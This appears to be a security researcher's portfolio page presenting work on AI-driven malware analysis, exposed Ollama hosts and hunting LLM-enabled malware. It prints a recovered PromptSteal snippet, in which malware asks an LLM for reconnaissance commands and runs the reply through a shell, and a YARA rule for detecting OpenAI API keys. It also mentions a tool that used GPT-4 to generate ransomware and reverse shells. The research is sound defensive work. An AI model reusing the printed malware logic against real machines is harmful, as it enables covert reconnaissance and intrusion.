October 2026 / Open-source project
San Francisco, slowly
An editable San Francisco cityscape for Samsung Frame. Twelve neighborhoods, layered fog, passing ships, and birds with somewhere to go. Built with a browser editor and a portable TV player.
AI evaluation · cybersecurity research · applied systems
Gabriel
Bernadett-
Shapiro
I study the intersection of AI and security work, evaluating frontier models to identify emerging capabilities, investigating new threats, and building systems that make the results useful in practice.
- SentinelLABS
- Distinguished AI Research Scientist
- Johns Hopkins SAIS
- Adjunct Lecturer
Previously at OpenAI, Salesforce AI Research, and Apple Security.
01 / Selected work
Research,
in practice.
A capability only matters when it survives contact with real work. These investigations explore what AI can do and what that means for the people working in security.
01 / LONG-HORIZON MALWARE ANALYSIS
Sol Searching
Juan Andrés Guerrero-Saade and I wanted to know how much of a malware investigation an agent could carry through on its own. We turned fast16, a real sabotage implant, into an eight-stage evaluation that asked agents to uncover its components, test possible targets, and revisit conclusions as new evidence arrived.
Read the evaluation ↗ Inside the investigationfast16 / GPT-5.6 Sol · xhigh
Loading the original investigation data…
Preserved annotationCurrent focus
A closer look
Connect.dll
Follow how the agent gives the binary’s functions and data meaningful names. Select a point to see a change.
Recorded annotation
sub_10009A38↓g_empty_wide_stringConnect.dll:0x10009A380 / 1,440 objects
An investigation has to hold together.
A wrong assumption can work its way into code, tests, and the final report. We found that the strongest runs could trace those dependencies and carry a correction through the whole project. That makes longer stretches of work practical to delegate, with analysts able to inspect the evidence and decide what to trust.
02 / EVALUATION SYSTEMS
Context Engineering
As an investigation grows, an agent has more history to carry. At SentinelLABS, we compared malware-analysis runs with and without memory compaction, checking function analysis, names, types, and behavioral explanations against reference databases and expert reports.
Read the evaluation ↗The same analysis, less to carry
Memory
Each request includes earlier turns, tool outputs, code, and working hypotheses.
↳ Exact evidence stays available
Decompiled functions · tool logs · reference artifacts
Token use · baseline = 100%
Aggregate evaluation scoreEffectively unchanged
The average score didn’t tell the whole story.
Compaction cut token use while leaving the overall score effectively unchanged. But the agents became less reliable at recovering the higher-level structures that explain the malware. That matters when deciding what work to automate: savings are useful only if the details an analyst depends on survive.
03 / INTERNET MEASUREMENT
Silent Brothers
Silas Cutler (Censys) and I built and analyzed a census of publicly reachable Ollama hosts to understand how AI is being deployed outside the major platforms. Over 293 days, we observed 175,108 hosts across 130 countries, with a surprisingly familiar set of models turning up almost everywhere.
Read the joint research ↗ The model families behind the hostsMarch–December 2025
Loading the census data…
Share of all census hosts
40,694 hosts ran Llama + Qwen2.That is 52.3% of hosts running more than one model family. The same pairing recurred across very different deployments.
7.23Mscan observations
13% → 76%hosts → share of observations
>48%advertised tool calling
The same dependencies turn up everywhere.
These deployments sit across thousands of networks, but often rely on the same model families and software formats. That gives defenders a useful place to focus: a weakness in a widely shared dependency could affect systems whose operators otherwise have little in common.
04 / SOURCE EVIDENCE
Prompts as Code
Alex Delamotte, Vitaly Kamluk, and I went looking for malware that uses an LLM while it runs. We hunted for embedded API keys and prompts, then examined how the software used the responses. PromptSteal shows why that matters: the model’s output becomes commands running on the victim’s machine.
Read the research ↗PromptSteal / recovered Python
01def LLM_QUERY_EX():02 prompt = {03 'messages': [{04 'role': 'Windows systems administrator',05 'content': 'Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and services information, networks information, AD domain information, to execute in one line and add each result to text file c:\\Programdata\\info\\info.txt. Return only commands, without markdown'06 }],07 'temperature': 0.1,08 'top_p': 0.1,09 'model': 'Qwen/Qwen2.5-Coder-32B-Instruct'10 }11 llm_query = query_text(prompt)12 13 theproc = subprocess.run(14 llm_query, shell = True,15 stdout = subprocess.PIPE,16 stderr = subprocess.STDOUT)rule openai_api_keys
{
meta:
description = "Detect OpenAI API keys"
author = "gbs"
modified_by = "vk"
last_update = "2025-06-25"
provider = "OpenAI"
strings:
$openai_key = /(sk-(proj|svcacct|admin)-)[A-Za-z0-9_-]*T3BlbkFJ[A-Za-z0-9_-]*/
condition:
any of them
}01 / Intent in plain sight
The prompt is part of the program.
The prompt asks for reconnaissance commands in the guise of routine Windows administration. It requests commands without markdown so the program can use them directly.
What the wider hunt uncoveredMalTerminal
A previously unreported tool that used GPT-4 to generate ransomware or a reverse shell. We found no evidence of its deployment in the wild.
1 yearVirusTotal retrohunt
7,000+files containing API keys
6,000+unique embedded keys
The prompt can tell us what the program is trying to do.
Most files with embedded keys were harmless, so a match was only a starting point. Extracting prompts and scoring their intent helped us decide which samples to investigate. Following the response into the code then showed how the model was being used.
AGENT
FailRebuildPivotRetry17,600 recovered actions · ~2.5 days
AUG 2026 · AGENTIC SECURITY
The Model Is the Malware
How agents adapt and keep trying during an intrusion. ↗BENCHMARK SCORE↑
OPERATIONAL OUTCOME?
Four benchmark families reviewed
JAN 2026 · SECURITY OPERATIONS
LLMs in the SOC
What benchmark scores tell a security team, and what they leave out. ↗01 / QUESTIONReal
cyber work
cyber work
CONTROLLED EVALUATION
- Run
- Evidence
- Score
05 / OUTPUTResearch
+ product
+ product
2023 · FRONTIER EVALUATION
GPT-4 Cyber Evaluation
Early work on evaluating GPT-4’s cybersecurity capabilities. ↗02 / In public
Writing, talks,
and teaching.
Research papers, arguments worth having, and practical tools for people doing the work.
Field notes
San Francisco, slowly
Building an editable cityscape for a Samsung Frame, from flight paths to a TV-sized rendering budget.
Computer Weekly
The silent substrate
What 175,000 exposed AI endpoints tell us about where AI actually lives.
Three Buddy Problem
Find 50,000 Bugs, Fix Zero
Why finding more vulnerabilities doesn’t necessarily make anyone safer.
CBS News
When weeks of security work become hours
What an eight-hour AI investigation means for cybersecurity.
ICLR · coauthored
SiReRAG
Retrieval that connects related facts and similar passages for multihop reasoning.
SentinelLABS · coauthored
LLMs & Ransomware
How AI accelerates existing criminal workflows before it invents new ones.
LABScon
LLM-Enabled Malware in the Wild
With Alex Delamotte and Vitaly Kamluk: from hunting strategy to recovered samples.
Johns Hopkins SAIS
Building with Artificial Intelligence
Hands-on teaching for automation and intelligence work.
Open-source tools
AI Security Starter Kit
A practical starting point for applying AI to security research and OSINT.
Unsupervised Learning
AI and threat intelligence
A conversation with Daniel Miessler about how the work is changing.
03 / Profile
From intelligence
to evaluation.
My work in AI grew out of threat intelligence, where a useful finding has to stand up to evidence and help someone decide what to do next.
SENTINELONE · SENTINELLABS
Distinguished AI Research Scientist
At SentinelLABS, I work with researchers to turn difficult security questions into evaluations grounded in reverse engineering, malware analysis, and security operations.JOHNS HOPKINS SAIS
Adjunct Lecturer
A hands-on workshop where practitioners explore AI through automation and intelligence problems.SALESFORCE · AI RESEARCH
Lead AI Research Scientist
Our work explored how retrieval systems connect evidence, answer complex questions, and hold up under adversarial testing.OPENAI
Member of Technical Staff
My work spanned early GPT-4 cyber evaluations and production tools that used model-led tagging and grading to help an internal team understand abuse in the highest-risk one percent of traffic.APPLE · INFORMATION SECURITY
Senior Threat Intelligence Researcher
Threat intelligence work on exploit development, supply-chain risk, and incident response, alongside Apple’s security teams.KASPERSKY · GOVERNMENT SECURITY SOLUTIONS
Threat Intelligence Analyst
Research on advanced threats for government customers, drawing on global sensor data and relationships between adversaries.STANFORD UNIVERSITY · HOOVER INSTITUTION
Special Research Assistant
Research into militant operational capacity and threats to global supply chains.04 / Open channel
Let’s test the frontier
before the frontier tests us.
Get in touch about research, evaluation, product, or speaking.